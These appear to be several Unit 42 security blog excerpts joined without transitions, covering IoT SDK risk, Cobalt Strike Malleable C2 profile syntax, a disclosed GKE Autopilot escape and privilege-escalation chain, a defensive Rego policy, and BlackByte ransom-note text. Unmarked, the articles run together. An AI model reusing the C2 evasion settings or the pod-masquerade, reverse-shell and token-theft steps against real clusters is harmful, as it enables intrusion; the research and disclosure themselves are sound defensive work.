Enterprise companies and consumers procure and operate IoT devices from various vendors in their networks. However, most IoT devices have underlying third-party real-time operating systems (RTOS), TCP/IP stacks, embedded Bluetooth stacks or other SDKs that can impact the device risk and increase its attack surface. In the recent past, we have seen a slew of such vulnerabilities that affect IoT device components. This includes TCP/IP stack vulnerabilities like Amnesia:33, Ripple:20 and Infra:Halt, RTOS vulnerabilities like Nucleus:13 and Bluetooth attacks like Sweyntooth, Braktooth and Bleeding Tooth specifically target IoT devices in various industry verticals such as manufacturing, retail, healthcare and others.
Figure 2: How IoT components present an hidden-iceberg problem, where many real threats and risks for an IoT device are hidden.
As we can see in Figure 2, the various underlying components present an hidden-iceberg problem, where the tip of the iceberg (the part above water) is known to consumers, but a large part is hidden and hence unknown to the consumer. For example, if a specific device has no known vendor vulnerabilities, many customers assume the device is safe. However, there might be deeper issues that can only be understood by monitoring the traffic and connections made by the device, as is the case with ThroughTek Kalay’s SDK-related CVE. All these components, while contributing to the overall functionality of the device, increase the chances of the device being attacked by malicious actors and expose the network to risk.
What’s Next: Proactively Secure IoT Devices
Securing the ever-expanding IoT attack surface requires proper device visibility, understanding of the various networking connections being made, monitoring of device behaviors and proactively notifying customers of risks in their network.
This is where an IoT Security platform can help. Organizations should seek an approach that helps pinpoint devices in your inventory that contain vulnerabilities – whether from the vendor or from built-in third-party software. Based on traffic observed between, for example, various IP cameras and internet destinations (specifically IoTC platforms), potentially vulnerable devices should be flagged.
Here are some key capabilities that an IoT security platform should provide to tackle similar vulnerabilities in IoT devices.
Accurate discovery and inventory: Teams must be enabled to quickly discover, locate, and assess utilization of IoT devices. Accurate detection of a device down to vendor, model and firmware is crucial for any security steps that follow.
Holistic risk assessment: Holistic risk assessment helps security teams proactively find security threats and vulnerabilities. A system capable of delivering machine learning-driven insights can help establish a behavior baseline and provide a deep risk assessment. This could include watching for threat indicators (e.g., an abnormal connection between devices or the presence of malicious files). It could also mean monitoring for issues such as default passwords, end of life operating systems, apps or devices, and obsolete protocols. It’s also important to monitor CVEs and assess them in context. Finally, a risk assessment strategy can be strengthened by extended capabilities achieved through integrations with third-party vulnerability management systems such as Qualys, Rapid 7 and Tenable to scan for additional vulnerabilities in IoT devices.
Apply risk reduction policies: Real-time risk monitoring, reporting and alerting are crucial for organizations to proactively reduce IoT risk. Consistent profiling of device activity and behavior yields data that can be accurately converted into risk-based Zero Trust policy recommendations. This approach enables security teams to confidently allow only trusted behavior and, if necessary, implement proper segmentation to reduce attack radius.
Prevent Threats: Built-in prevention capabilities help block known targeted IoT malware, spyware, and exploits, preventing the use of DNS for command and control (C2), and stopping access to bad URLs or malicious websites to help prevent the loss of sensitive data.
Conclusion
A recently discovered vulnerability in the ThroughTek Kalay P2P SDK gains significance when considering how IP cameras and surveillance devices use this specific third-party SDK to provide P2P connection functionality. Network traffic analysis of affected devices reveal that major vendors use this specific SDK, making their devices vulnerable. However, due to the vulnerability being a part of an embedded component of the device, such connections and underlying vulnerabilities are often not exposed to the consumer.
This issue has been amplified in recent times through various exposed vulnerabilities that affect the supply chain for IoT devices. As a result, it is even more imperative for customers to have full visibility of the devices in their network, the traffic they generate and any underlying security risks associated with it.
Palo Alto Networks IoT Security can help secure enterprise networks in the ways described, and includes protections for CVE-2021-28372. In addition, the platform uses patented anomaly-detection mechanisms to detect when devices with known vulnerabilities deviate from their normal network behavior, which might indicate they've been exploited. For example, the platform generates alerts for aberrant behavior such as a sudden appearance of traffic from a new source, an unusually high number of connections or an inexplicable rash of new international connections.
Cobalt Strike is commercial threat emulation software that emulates a quiet, long-term embedded actor in a network. This actor, known as Beacon, communicates with an external team server to emulate command and control (C2) traffic. Due to its versatility, Cobalt Strike is commonly used as a legitimate tool by red teams – but is also widely used by threat actors for real-world attacks.
Cobalt Strike users control Beacon’s HTTP indicators through a profile, and can select either the default profile or a customizable Malleable C2 profile.
In this blog post, we will go through the concepts and definitions associated with these profiles, and explore differences between default and customized Malleable C2 profiles used in the Cobalt Strike framework as well as in some true attacks in the wild. In doing so, we demonstrate how the Malleable C2 profile lends versatility to Cobalt Strike, and why this versatility makes Cobalt Strike an effective emulator for which it is difficult to design traditional firewall defenses.
Palo Alto Networks customers receive protections against malicious uses of Cobalt Strike through Cortex XDR and the WildFire and Threat Prevention subscriptions for the Next-Generation Firewall.
The Cobalt Strike tool’s primary configuration is specified using a profile file. The tool uses the values present in the profile to generate the Beacon payload, and users create the profile and set its values with a Malleable Command and Control (C2) profile language.
The profile specifies how the beacon will transform and store data in a transaction.
Within a profile, options are divided into global options and local options. Global options update the global Beacon settings, while local options are transaction-specific. Local option changes within one transaction do not affect the output from other transactions.
The profile is divided into multiple sections to specify the values for different parts of the C2 communications. An example of a generic structure of the profile is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# this is a comment
set global_option"value";
protocol-transaction{
set local_option"value";
client{
# customize client indicators
}
server{
# customize server indicators
}
}
Different parts of the profile are explained below.
Global Options
Global options are global to C2 communications. Options such as sleeptime and jitter define the frequency of Beacon’s check-in with the team server. Here is a list of a few global options with example values:
1
2
3
4
5
set sample_name"Profile Name";
set sleeptime"30000";
set jitter"20";
set useragent"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36";
set host_stage"false";
If you are interested in a more comprehensive list of all the global options, refer to this Cobalt Strike user guide.
Local Options
On the other hand, the scope for local options is per transaction only. The options for one transaction do not affect the other.
Examples of Local options:
1
2
3
4
set uri"URI_For HTTP transaction";
set verb"POST";
set uri_x86"StagetURI_for_x86";
set uri_x64"StagetURI_for_x64";
In addition to these options, a profile can specify different protocol-transactions to carry out different actions. Below are example transactions, as well as brief explanations of their usage:
http-stager: The Beacon is a staged payload. The stager downloads the file and injects it into memory. The values listed in this transaction are customizing the HTTP communication for downloading the beacon.
dns-beacon: After Cobalt Strike v4.3, DNS options became part of the dns-beacon transaction. This transaction modifies the DNS C2 communication. If you are interested in a more comprehensive list of all the dns-beacon options, refer to this Cobalt Strike user guide.
http-get: The http-get transaction customizes the HTTP communication between the Beacon and the team server. The Beacon starts by sending the HTTP request with metadata about the compromised system. If the team server has tasks to execute, the server sends an HTTP response.
http-post: Once the Beacon executes the tasks sent by the server, the output of the task is transferred in the http-post transaction. The values listed in this transaction affect the HTTP communication when the task output is sent over to the server.
https-certificate: If the Beacon is tasked to communicate over HTTPS, The team server generates a self-signed certificate. The team server uses http-get and http-post transaction values to create actual HTTP requests and responses. This profile transaction can help to specify the different parameters for SSL certificates. If you are interested in a more comprehensive list of all the http-certificates options, refer to this Cobalt Strike user guide.
Figure 1. Cobalt Strike default profile.
Cobalt Strike Default Profile
The default profile will be loaded if no other customized profiles are specified. Figure 1, above, is the specification of the default profile, and Figure 2, below, is an example of traffic capture from the default profile using the web drive-by-download option in a Cobalt Strike team server.
Figure 2. An example traffic capture from the default profile.
From Figure 2, you can see that there are several HTTP transactions of GET and POST requests and responses.
For GET requests, most of the request URIs are very short and have predefined patterns. The URIs are randomly chosen from the list of URIs specified under set uri in the default profile in Figure 1 (see Table 1 below for the complete list). Malicious attackers can easily modify the URI to arbitrary strings if they use a customized profile with set uri options inside the http-get section. This also explains why a pattern-based signature might catch the Cobalt Strike traffic using default profiles very well, but fail to capture any variations with customized profiles.
For POST requests, there is a predefined pattern – /submit.php?id= – in the URI. The ID value is randomly generated. Similar to the possibilities for HTTP GET requests, malicious attackers can easily modify the URIs to arbitrary strings if they use customized profiles with set uri options inside the http-post section.
Index
URIs
Index
URIs
Index
URIs
1
/ca
8
/fwlink
15
/push
2
/dpixel
9
/cm
16
/ptj
3
/__utm.gif
10
/cx
17
/j.ad
4
/pixel.gif
11
/pixel
18
/ga.js
5
/g.pixel
12
/match
19
/en_US/all.js
6
/dot.gif
13
/visit.js
20
/activity
7
/updates.rss
14
/load
21
/IE9CompatViewList.xml
Table 1. Possible URIs specified in the Cobalt Strike default profile.
Customized Cobalt Strike Profiles
Public Malleable C2 profiles are available and can be downloaded in public repositories, such as from the official profiles examples on GitHub. These profiles can be loaded by the team server and used as a Beacon download for C2 communications.
As an example, we walk through the etumbot profile to explain in more detail below.
1. Global Options.
Sleeptime: The sleep time for the beacon callback is 5,000 milliseconds (5s).
Jitter: The jitter to set % is 0. In this example, the Beacon will call back every 5s because of the jitter value 0.
Maxdns: The maximum length of hostname is 255 when uploading data over DNS.
UserAgent: Set the HTTP C2 request useragent as "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"
Figure 3. Global options in Etumbot profile.
2. Beacon check-In to get task from teamserver with HTTP GET request.
Below the global options, we find the following option configurations about HTTP request and response. Figures 4 and 5, below, show this configuration, which include URI, header and metadata information for both the client and the server.
Figure 4. HTTP GET request options in Etumbot profile.Figure 5. HTTP GET request in live traffic.
3. Beacon task execution result submission to teamserver with HTTP POST request.
We can find the following option configuration about HTTP response from Figure 6 below, as well as what the POST C2 traffic looks like in Figure 7.
Figure 6. HTTP POST request options in Etumbot profile.Figure 7. HTTP POST request options in live traffic.
Cases in the Wild
The following sections show two different cases of Cobalt Strike payloads used in the wild: one using the default option (no profiles) and the other with a custom profile. Both samples have no trigger on VirusTotal at the time of this writing, but Palo Alto Networks identified them using static and dynamic analysis.
Figure 8. Cobalt Strike HTTP GET Beacon download request.Figure 9. Cobalt Strike HTTP GET heartbeat request.Figure 10. Cobalt Strike HTTP POST call-back request.
As seen in Figures 9 and 10, the GET and POST requests follow from the configuration options specified in the default profile. The GET request URI is /load (Figure 9), which is one of the default options for GET requests, and the POST request URI is /submit.php (Figure 10), which is the default option for POST requests. If all Cobalt Strike traffic used these default URIs, it would be much easier to write signatures to identify Cobalt Strike traffic; however, these signatures would not be able to identify traffic originating from customized profiles, as shown in the next example.
Figure 11. Cobalt Strike HTTP GET Beacon download request.Figure 12. Cobalt Strike HTTP GET heartbeat request.Figure 13. Cobalt Strike HTTP POST call-back request.
As we can see in Figures 12 and 13, the GET and POST request URIs have changed from the default profile. Both of these URIs are prepended with /MicrosoftUpdate in order to seem like a legitimate HTTP request to Microsoft servers for regular Windows updates – but are actually request and response traffic from C2 servers. This is how Cobalt Strike traffic from customized profiles can be so flexible and difficult to detect.
Cobalt Strike Beacon Configuration
In addition to the differences in GET and POST request parameters mentioned previously, Cobalt Strike Beacon configuration differs between default and custom profiles, and it contains useful metadata according to the settings in a Malleable C2 profile, which includes encoding types, blog submission mechanisms, instructions used to perform data transformations and other properties. By leveraging Didier Stevens’s 1768.py script, a researcher can decode and extract Cobalt Strike Beacon configurations. Didier is a security researcher known for his development of several analysis tools and other security-related topics.
Figure 14 shows extracted configuration metadata for a custom profile Beacon. The most visible differences between a default profile and a custom profile Beacon configuration are the number of instructions and data transformations, as well as the HTTP parameters used.
The table below shows the full list of differences between configuration metadata of the default and custom profile samples found in the wild that were previously discussed.
Table 2. Default profile vs custom Profile configuration meta-data.
Conclusion
Cobalt Strike is a potent post-exploitation adversary emulator. The Malleable C2 profile detailed above is elaborate and is designed to evade security detections. A single security appliance is not equipped to prevent a Cobalt Strike attack. Only a combination of security solutions – firewalls, sandboxes, endpoints and software to integrate all these components can help prevent this kind of attack.
Palo Alto Networks customers are protected from this kind of attack by the following:
In February 2021, Google announced Autopilot, a new mode of operation in Google Kubernetes Engine (GKE). With Autopilot, Google provides a "hands-off" Kubernetes experience, managing cluster infrastructure for the customer. The platform automatically provisions and removes nodes based on resource consumption and enforces secure Kubernetes best practices out of the box.
In June 2021, Unit 42 researchers disclosed several vulnerabilities and attack techniques in GKE Autopilot to Google. Users able to create a pod could have abused these to (1) escape their pod and compromise the underlying node, (2) escalate privileges and become full cluster administrators, and (3) covertly persist administrative access through backdoors that are completely invisible to cluster operators.
An attacker who obtained an initial foothold on an Autopilot cluster, for example, through a compromised developer's account, could have exploited these issues to escalate privileges and become a "shadow administrator," with the ability to covertly exfiltrate secrets, deploy malware or cryptominers and disrupt workloads.
Following our disclosure, Google fixed the reported issues, deploying patches universally across GKE. All Autopilot clusters are now protected.
This blog provides a technical analysis of the issues, as well as mitigations for preventing similar attacks against Kubernetes and GKE environments. For a high-level overview of the issues, please refer to our blog on the Palo Alto Networks site, Unit 42 Discloses Newly Discovered Vulnerabilities in GKE Autopilot.
Palo Alto Networks customers receive protections from the issues discussed below through the Kubernetes admission control and auditing features of Prisma Cloud.
Autopilot is a new mode of operation in GKE, providing what Google describes as a "hands-off" Kubernetes experience. In GKE Standard, customers manage their cluster infrastructure and pay per node. With GKE Autopilot, Google takes care of cluster infrastructure, and customers only pay for their running pods. This allows customers to focus on their applications, cutting operational costs.
In a nutshell, managed cluster infrastructure means Google automatically:
Provisions and adjusts the number of nodes according to your pods' resource consumption.
Enforces a built-in policy to ensure the cluster adheres to secure best practices and can be safely managed by Google.
Below is a simplified diagram of Autopilot's architecture. Components unique to Autopilot are colored in green and shown with a number corresponding to their role from the list above. Unlike GKE Standard, where nodes are visible as Compute Engine VMs, Autopilot nodes are completely managed by Google, thus colored in green.
Figure 1. GKE Autopilot architecture.
As seen in Figure 1, two components enforce Autopilot's policy. First is an OPA Gatekeeper validating admission webhook, an open-source project widely used for policy enforcement in Kubernetes. The second is a proprietary Kubernetes authorization mode named GKEAutopilot, which Google implemented by modifying the Kubernetes source code.
The built-in policy serves two purposes: (a) prevent users from accessing cluster components managed by Google, like nodes; and (b) uphold secure Kubernetes best practices. For example, Autopilot forbids running privileged containers, fulfilling both (a) and (b).
Autopilot's policy goes beyond preventing container escapes. Figures 3, 4, and 5 highlight a few interesting examples. GKE's documentation lists every limit enforced by the policy.
Figure 3. The kube-system namespace is managed, customers are limited to read-only access.Figure 4. Users cannot list or create mutating admission webhooks.Figure 5. External IP services are denied to protect against CVE-2020-8554.
Reading the error messages in the Figures above, you can see that Gatekeeper prevented the operations in Figures 2 and 5, while the GKEAutopilot authorization mode prevented the operations in Figures 3 and 4.
Attack Surfaces Unique to GKE Autopilot
Autopilot's built-in policy blocks several exploitation paths out of the box, providing better security posture compared to standard Kubernetes or GKE Standard. That being said, it also creates attack surfaces unique to Autopilot:
Administrators may rely on Autopilot's policy to prevent risky configurations. If attackers can somehow circumvent that policy, they may escalate privileges via methods customers expect to be blocked, like deploying a privileged container.
Autopilot administrators aren't fully privileged, restricted by the built-in policy from accessing nodes and certain privileged Kubernetes APIs. If attackers can bypass Autopilot's policy, they may gain higher privileges than administrators, opening the door for invisible backdoors.
The following sections present vulnerabilities, privilege escalation techniques and persistence methods we identified that fall under these attack surfaces. Chained together, they allow a restricted user who can create a pod to (1) compromise nodes, (2) escalate privileges to an unrestricted cluster administrator and (3) install invisible and persistent backdoors to the cluster.
Masquerading as Allowlisted Workloads to Compromise Nodes
"Our intent is to prevent unintended access to the node virtual machine. We accept submissions to that effect through the Google Vulnerability Reward Program (VRP)..."
This seemed like an interesting challenge, and so we created an Autopilot cluster and started looking around. Autopilot installed OPA Gatekeeper onto the cluster along with several policies (called “constraints” in Gatekeeper terminology) in charge of preventing risky configurations like privileged containers. The cluster also had a Custom Resource Definition (CRD) that seemed interesting, named allowlistedworkloads.
Figure 6. Autopilot installs a Custom Resource Definition (CRD) named allowlistedworkloads
As shown earlier in Figure 2, Autopilot forbids pod configurations that could allow container escapes. To support add-ons that require some level of node access, Autopilot created a notion of allow-listed workloads. If a container matches an allow-listed workload, it's permitted to use the privileged features specified in the allowlistedworkload configuration. In June, the only allow-listed workloads were Datadog agents.
Figure 7. Datadog agent allowlistedworkload
Below is the allow-listed workload configuration for one of the Datadog agents that caught our attention. If a container specifies the listed command and image, it's allowed to mount the listed host paths in read-only volumes.
Figure 8. One of the allowlistworkloadconfiguration examples for Datadog agents.
The issue here is insufficient verification. Only checking the command and image isn't enough to ensure the container runs Datadog code. Using the following PodSpec, a container can masquerade as the Datadog agent while running attacker-controlled code, and abuse the exposed host volumes to break out.
Figure 9. Masquerading as the Datadog agent.
In the video below, a malicious user deploys a pod masquerading as the Datadog agent. The pod takes over its underlying node through the following steps:
Abuse the mounted containerd socket to create a privileged container that mounts the host filesystem.
Have that privileged container install a systemd service that spawns a reverse shell from the node to an attacker-controlled machine.
Video 1. Masquerading as an allowlistedworkload to compromise the underlying node.
Impact of Node Compromise
An attacker who can create a pod may exploit this issue to create malicious containers that escape and take over their underlying nodes. Autopilot users expect the platform to prevent this kind of attack, and will be caught off-guard.
Node compromise opens up the following attack vectors:
The attacker immediately gains control over neighboring pods and their service account tokens, potentially escalating privileges and spreading to other namespaces.
The attacker can query the node's instance metadata endpoint for an access token. By default, this token provides read access to cloud storage in the customer's project.
Since Autopilot administrators cannot access nodes, attackers may abuse this issue to install covert malware or cryptominers on them. However, Autopilot automatically scales nodes, so ensuring malware persists isn't straightforward.
The attacker gains access to the underlying Kubelet credentials, allowing visibility to nearly all cluster objects.
Finally, because Autopilot only bills per running pods, crafty users could have abused this issue to cut some costs, running some workloads directly on nodes. We advise reducing bills in more legitimate ways.
Escalating to Unrestricted Administrators
Following the trajectory of a motivated intruder, we looked for reliable methods of escalating this container escape into a full cluster takeover. By compromising a node, attackers can steal the service account tokens of neighboring pods. Naturally, it would make sense to target nodes hosting pods with powerful service accounts. These may be pods deployed by the user, or more interestingly, system pods deployed natively in all Autopilot clusters.
After examining the built-in policy, we discovered that Autopilot completely exempts kube-system service accounts. This made kube-system pods the most interesting targets, as stolen tokens could be used freely without worrying about the policy.
Figure 10. Autopilot's policy exempts kube-system service accounts in line 3.
To search for powerful pods in Autopilot, we created sa-hunter, a Python tool that maps pods' service accounts to their Kubernetes permissions (i.e. roles and clusterroles). Existing tools link service accounts to their permissions, but don't show whether any pods actually use a given service account. Figure 11 shows an example output of sa-hunter:
Figure 11. sa-hunter output, linking running pods to their permissions.
sa-hunter found two powerful kube-system pods installed by default: stackdriver-metadata-agent-cluster-level and metrics-server. Both pods can update existing deployments, as shown in Figure 12. This privilege may appear innocent at first glance, but it is enough to escalate to full cluster admin. Interestingly, these pods are also deployed by default in GKE Standard, making the following privilege escalation technique relevant to all GKE clusters, Standard and Autopilot.
Figure 12. Privileged role assigned to the metrics-server pod can update deployments.
After taking over a node hosting either the stackdriver-metadata-agent-cluster-level or metrics-server pod, an attacker can harvest their service account token from the node filesystem. Armed with that token, the attacker can attain the privileges of any service account in the cluster with three simple steps:
Update an existing deployment's service account to the target service account. There are a number of preinstalled deployments, any one of which can be used for this step.
Add a malicious container to that deployment.
Have that malicious container retrieve the target service account token mounted in the container at /run/secrets/kubernetes.io/serviceaccount/token.
Figure 13. Abusing deployment update privileges to obtain any service account's token.
For this to be a meaningful privilege escalation, the attacker would need to target a powerful service account. The kube-system namespace offers a number of preinstalled, extremely powerful service accounts to choose from. The clusterrole-aggregation-controller (CRAC) service account is probably the leading candidate, as it can add arbitrary permissions to existing cluster roles.
Figure 14. The clusterrole-aggregation-controller service account can escalate cluster roles.
After using the technique illustrated in Figure 13 to obtain CRAC's token, the attacker can update the cluster role binded to CRAC to possess all privileges. At this point, the attacker is effectively cluster admin, and is also exempt from Autopilot's policy (as seen in Figure 10).
Figure 15. The clusterrole-aggregation-controller's token can add admin privileges to itself.
Rewinding, if the attacker wants to chain this privilege escalation technique with the container escape discussed earlier, he needs to somehow schedule his breakout pod on a node hosting either the stackdriver-metadata-agent-cluster-level or metrics-server pod. Although Autopilot rejects pods that have nodeSelectors, it does permit the simplest form of node assignment — the nodeName field.
The nodeName field assures the breakout pod will land on the target node as long as it has adequate resources for another pod. Even if there's no room on the target node, the attacker still has a couple of options. He can either (1) watch the target node and wait for a pod to be deleted; or (2) create pods to trigger a node scale up, tricking Autopilot's autoscaler into redistributing workloads so that a powerful pod ends up on an emptier node.
Full Chain: Invisible Backdoors via Mutating Admission Webhooks
Video 2 shows the full attack chain, combining the container escape with the privilege escalation route built into GKE. Following exploitation, the attacker has higher privileges than Autopilot administrators, as he's exempt from the built-in policy (as seen in Figure 10). This level of access can be abused to install invisible and persistent backdoors in the form of mutating admission webhooks.
Mutating admission webhooks receive any objects created or updated in the cluster, including pods and secrets. If that's not scary enough, these webhooks can also arbitrarily mutate any received object, making them a ridiculously powerful backdoor. As shown earlier in Figure 4, Autopilot administrators cannot list mutating admission webhooks, and thus will never see this backdoor.
Figure 16. Becoming a shadow administrator through an invisible mutating admission webhook.
Video 2. Escalating from pod creation to an unrestricted administrator and an invisible backdoor.
Figure 17. A malicious mutating admission webhook installed by abusing the reported issues. Note that seeing the backdoor required the unrestricted admin token acquired in the attack.
Full Chain: Impact
Before the fixes, attackers could have exploited the presented issues to transform a limited breach into a full cluster takeover on any Autopilot cluster. Using webhooks that are invisible to users, attackers can covertly persist their administrative access, effectively becoming "shadow administrators." At that point, they could have covertly exfiltrated secrets, deployed malware or cryptominers, and disrupted workloads.
Other Issues
During our research we found two additional issues that allow node compromise, but with lower impact. The first involves two service account names in the default namespace that were exempt from Autopilot's policy: csi-attacher and otelsvc. If an attacker gained control over the default namespace, it would have been possible to create these service accounts to bypass the built-in policy. The attacker could then create privileged pods to compromise nodes, and use the discussed privilege escalation technique to take over the entire cluster.
The second attack exploited CVE-2020-8554 through Load Balancer services to compromise nodes, but required admin privileges to exploit. The attack scenario here is an attacker who has already compromised an Autopilot cluster and is looking to bypass the built-in policy to establish a covert backdoor.
Fixes and Mitigations
Following our advisory and over the course of the last several months, Google deployed numerous fixes and mitigations to GKE Autopilot. These prevent the reported attack and harden the platform against similar exploits.
Cluster administrators can now list, view and even create mutating admission webhooks, preventing their abuse as invisible backdoors.
Google hardened the verification process of allowlistedworkloads.
Policy enforcement moved from OPA Gatekeeper to Google's policy controller, allowing customers to deploy their own Gatekeeper instance. Customers can now enforce their own policy on top of the built-in one. As defense-in-depth and to mitigate possible future issues, we recommend deploying the same policies you would have deployed to GKE standard.
The built-in policy is no longer visible.
The csi-attacher and otelsvc service accounts are no longer exempt from Autopilot's policy.
Google open-sourced a policy for OPA Gatekeeper that restricts the powerful kube-system pods abused in the attack. The policy prevents these pods from assigning a new service account to an existing pod. See GKE's hardening guide for more information.
We highly recommend reading Google's official advisory, which describes the issues from Google's perspective and lists their mitigations.
Preventing Similar Attacks on Kubernetes Environments
The presented attack can be classified as a Kubernetes privilege escalation, where an attacker with limited access obtains broader permissions over a cluster. This kind of follow-on attacker activity must start from an initial breach: a malicious image in your cluster supply chain, a vulnerable publicly exposed service, stolen credentials or an insider threat. Securing your cluster's software supply chain, identities and external perimeter can reduce the chances of such breaches occurring in your clusters.
Sophisticated attackers may still find creative ways to infiltrate clusters. Proactively solving common misconfigurations, like Kubelets that allow unauthenticated access, can significantly reduce the internal attack surface available to an intruder. Security controls such as NetworkPolicies and PodSecurityStandards further restrict and demoralize malicious actors.
In the presented attack chain, the attacker only had to compromise one node to take over the entire cluster. The underlying issue wasn't the node's permissions, but those of the powerful pods it hosted, which included the ability to update deployments. This permission and others may appear somehow restricted at first glance, but are equivalent to cluster admin.
Powerful pods are still common in production clusters: natively installed by the underlying Kubernetes platform or introduced through popular open-source add-ons. If a node hosting a powerful pod is compromised, the attacker can easily harvest the pod's powerful service account token to spread in the cluster.
Tackling powerful pods is complex, mostly because their permissions may be rightfully needed. The first step is detection — identifying whether powerful pods exist in your cluster. We hope sa-hunter can help with that, and we plan to release additional tools that focus on automating detection of powerful pods.
If you identified powerful pods in your cluster, we recommend taking one of the approaches below:
If you manage the powerful pod, consider whether it's possible to strip unnecessary privileges from its service account, or scope them to specific namespaces or resource names.
If these pods are part of an external solution, reach out to the relevant cloud provider or project to pursue reducing the pod's privileges. If the pod is deployed by a managed Kubernetes service, it may be possible for them to replace it with a control plane controller.
Some Kubernetes permissions are too broad, meaning the pod in question may not require access to the dangerous operations its permissions expose. In that case, it may be possible to implement a policy (e.g. via OPA Gatekeeper) that prevents the pod from performing certain dangerous operations, or even better, restricts the pod to a set of allowed and expected operations.
Use Taints, NodeAffinity or PodAntiAffinity rules to isolate powerful pods from untrusted or publicly exposed ones, ensuring they don't run on the same node.
As an example for the third approach, the following Rego policy can stop the presented privilege escalation attack. The attack abused system pods who can update deployments to replace the service account of an existing deployment to a powerful one. Inspecting the source code of these powerful pods revealed they don't need the ability to change the service account of deployments they update. The policy below capitalizes on that and forbids these pods from unexpectedly updating deployments' service accounts. Prisma Cloud users on GKE are encouraged to import this policy as an admission rule set on Alert.
msg:=sprintf("SA '%v' may be compromised, it unexpectedly tried to replace the serviceaccount of 'deployment/%v:%v' to '%v'",[input.request.userInfo.username,input.request.object.metadata.namespace,input.request.object.metadata.name,new_service_account])
}
request_by_powerful_dep_update_sa(username){# metrics-server pod on GKE
As organizations migrate to Kubernetes, attackers follow suit. Recent malware samples like Silocape indicate adversaries are evolving beyond simple techniques into advanced Kubernetes tailored attacks. Against sophisticated attackers, solely securing the cluster's perimeter may not be enough. We encourage defenders to adopt policy and audit engines that enable detection and prevention of follow-on, "stage 2" attacker activities, and we hope this research can highlight how those may look. Prisma Cloud customers are encouraged to enable our Kubernetes admission control and auditing features aimed at tackling this threat.
We'd like to thank Google for their cooperation in resolving these issues, the bounty reward and their wonderful policy that doubles bounties donated to charity.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
![A BlackByte warning message shown in the screenshot reads, "Attention!!! we had some maintenance, if your access to the chat lost, please mail us your company name and the old link you got, so we can renew your access, we use only this mail for support: blackbytesupport@onionmail[.]org we have seen in some places that there is a decryption for our ransom we would not recommned you to use that because we do not use only 1 key. if you will use the wrong decryption for your system you may break everything, and you wont be able to restore your system again we just want to warn you. if you do decide to use that, it's at your own risk. Thanks to "SpiderLabs" aka ClownLabs, because of you many systems will be broken without any chance to recovery."](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/04/word-image-26.png)
![BlackByte sample ransom note reads: "All your files have been encrypted your confidential data has been stolen, In order to decrypt files and avoid leakage, you must follow our steps. 1) Download and install TOR Browser from this site [TOR URL], 2) Paste the URL in TOR Browser and you will be redirected to our chat with all information that you need, 3) If you do not contact us within 4 days, your chat access key won't be valid. Also, your company will be posted on our blog, which will attract unnecessary attention from journalists and not only them. You are given 4 days to think over the situation, and take reasonable actions on your part. Warning! Communciation with us occurs only through this link, or through the mail on our blog. We also strongly DO NOT recommend using third-party tools to decrypt files as this will simply kill them completely without the possibility of recovery. I repeat, in this case, no one can help you!"](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/04/word-image-27.png)
![The figure shows the typical network connections made by an IP camera. On the left side, in blue, it shows IP Camera Device: 50, Internet: 40, Intranet: 10. On the right side, in gray and orange, the figure shows NTP Server: 5, DNS Server: 5, device-api.ip-camera-vendor[.]com (TCP): 15, m4.iotcplatform[.]com (UDP): 15, certificate update server (SSL): 10](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/03/word-image-46.png)
Get updates from Unit 42 